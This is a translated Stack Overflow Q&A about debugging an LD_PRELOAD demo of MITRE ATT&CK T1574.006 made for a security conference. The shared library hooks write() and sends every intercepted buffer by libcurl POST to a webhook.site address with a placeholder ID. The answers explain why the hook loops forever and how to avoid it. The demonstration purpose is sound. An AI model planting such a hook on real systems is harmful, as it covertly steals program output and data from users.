首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >libcurl和LD_PRELOAD

libcurl和LD_PRELOAD
EN

Stack Overflow用户
提问于 2021-04-04 15:49:38
回答 2查看 156关注 0票数 0

我正在创建一个使用LD_PRELOAD的程序的小例子,以便在安全会议上演示Mitre &CK T1574.006。我大部分时间都在使用libcurl,但我遇到的问题之一是使用libcurl作为演示的一部分。当我在这里使用示例POST代码时:https://curl.se/libcurl/c/http-post.html,我的程序一直循环,直到我终止它,并且不发布任何数据。

如果有人能为我指明正确的方向,我将不胜感激。本质上,我要做的是在返回到标准的写函数之前,将数据发送到一个站点。

以下是代码:

main.c

代码语言:javascript
复制
#include <unistd.h>
#include <string.h>

int main(int argc, char **argv) {
    const char *msg = "Hello write\n";
    // 1 writes to stdout file descriptor
    write(1, msg, strlen(msg));
    return 0;
}

inject.c

代码语言:javascript
复制
#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>
#include <curl/curl.h>
#include <string.h>
void postData(char *postData) {

  CURL *curl;
  CURLcode res;

  /* In windows, this will init the winsock stuff */
  curl_global_init(CURL_GLOBAL_ALL);

  char testData[500];
  strcpy(testData, "testData=");
  strcat(testData, postData);
  printf("%s\n", testData);

  /* get a curl handle */
  curl = curl_easy_init();
  if(curl) {
    /* First set the URL that is about to receive our POST. This URL can
       just as well be a https:// URL if that is what should receive the
       data. */
    curl_easy_setopt(curl, CURLOPT_URL, "https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx");
    /* Now specify the POST data */
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, testData);

    /* Perform the request, res will get the return code */
    res = curl_easy_perform(curl);
    /* Check for errors */
    if(res != CURLE_OK)
      fprintf(stderr, "curl_easy_perform() failed: %s\n",
              curl_easy_strerror(res));

    /* always cleanup */
    curl_easy_cleanup(curl);
  }
  curl_global_cleanup();
}

ssize_t write(int fd, const void *buf, size_t count) {

  char *p = (char *)buf;
  printf("From main: %s\n", p);
  postData(p);  

  // Look up the next write symbol
  ssize_t (*orig_write)(int fd, const void *buf, size_t count) = dlsym(RTLD_NEXT, "write");

  return orig_write(fd, buf, count);
}

下面是我编译和执行的方式:

代码语言:javascript
复制
TARGET = example_6

all: main.c
        gcc main.c -g -o ${TARGET}
        gcc -shared -g -fPIC inject.c -o inject.so -ldl
run:
        LD_PRELOAD=./inject.so ./${TARGET}
EN

回答 2

Stack Overflow用户

回答已采纳

发布于 2021-04-04 16:04:21

postData可以进行write调用(例如,您在postData中拥有的printffprintf调用)。由于write被截获,它从postData...then调用被截获的write函数,然后再转到postData并继续。这就是“循环”是如何发生的。

您需要确保postData中没有任何东西调用write。如果你真的需要打印什么东西,你就得用另一种方法。您可以使用syscall (Linux)。

代码语言:javascript
复制
syscall(SYS_write, STDOUT_FILENO, testData, strlen(testData));

如果任何curl_*函数碰巧调用write,也可能发生同样的情况。

票数 1
EN

Stack Overflow用户

发布于 2021-04-05 17:50:46

如果有人回到这里,我就会用unsetenv来解决我的问题

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/66943093

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档